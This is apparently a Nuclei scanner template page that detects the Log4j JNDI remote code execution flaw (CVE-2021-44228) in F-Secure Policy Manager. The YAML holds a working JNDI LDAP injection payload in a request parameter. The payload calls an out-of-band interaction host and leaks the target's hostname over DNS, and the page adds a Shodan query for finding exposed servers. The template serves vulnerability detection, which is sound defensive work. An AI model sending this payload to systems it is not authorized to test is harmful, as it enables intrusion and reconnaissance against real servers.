F-Secure Policy Manager - Remote Code Execution (Apache Log4j)

ID: f-secure-policymanager-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,fsecure,oast,kev

Description

F-Secure Policy Manager is susceptible to Log4j JNDI remote code execution.

YAML Source

id: f-secure-policymanager-log4j-rce

info:
  name: F-Secure Policy Manager - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    F-Secure Policy Manager is susceptible to Log4j JNDI remote code execution.
  reference:
    - https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"F-Secure Policy Manager"
  tags: cve,cve2021,rce,jndi,log4j,fsecure,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /fsms/fsmsh.dll?FSMSCommand=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}} HTTP/1.1
        Host: {{Hostname}}
        Referrer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100ee8db593b89b8a6e7ba963134362494610de859854ed7daa8208cca32336e84d0220475afbf847d4418c98916499a8af24d99ebe99a30820d7f7e2752ab0a6f47439:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/f-secure-policymanager-log4j-rce.yaml"

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